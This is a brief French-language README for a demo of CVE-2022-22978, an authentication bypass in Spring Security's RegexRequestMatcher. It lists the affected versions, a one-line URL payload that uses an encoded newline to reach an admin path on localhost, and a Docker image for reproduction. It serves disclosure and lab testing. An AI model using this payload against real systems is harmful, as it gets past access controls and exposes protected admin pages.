CVE-2022-22978

CVE-2022-22978 Spring-Security bypass Demo

Dans Spring Security, lors de l'utilisation de RegexRequestMatcher avec une expression régulière contenant un point, un attaquant peut contourner l'authentification en construisant un paquet malveillant.

Versions affectées

Spring Security 5.5.x < 5.5.7
Spring Security 5.6.x < 5.6.4

Reproduction

Payload

http://localhost:8080/admin/index%0a

Docker

docker pull s0cke3t/cve-2022-22978:latest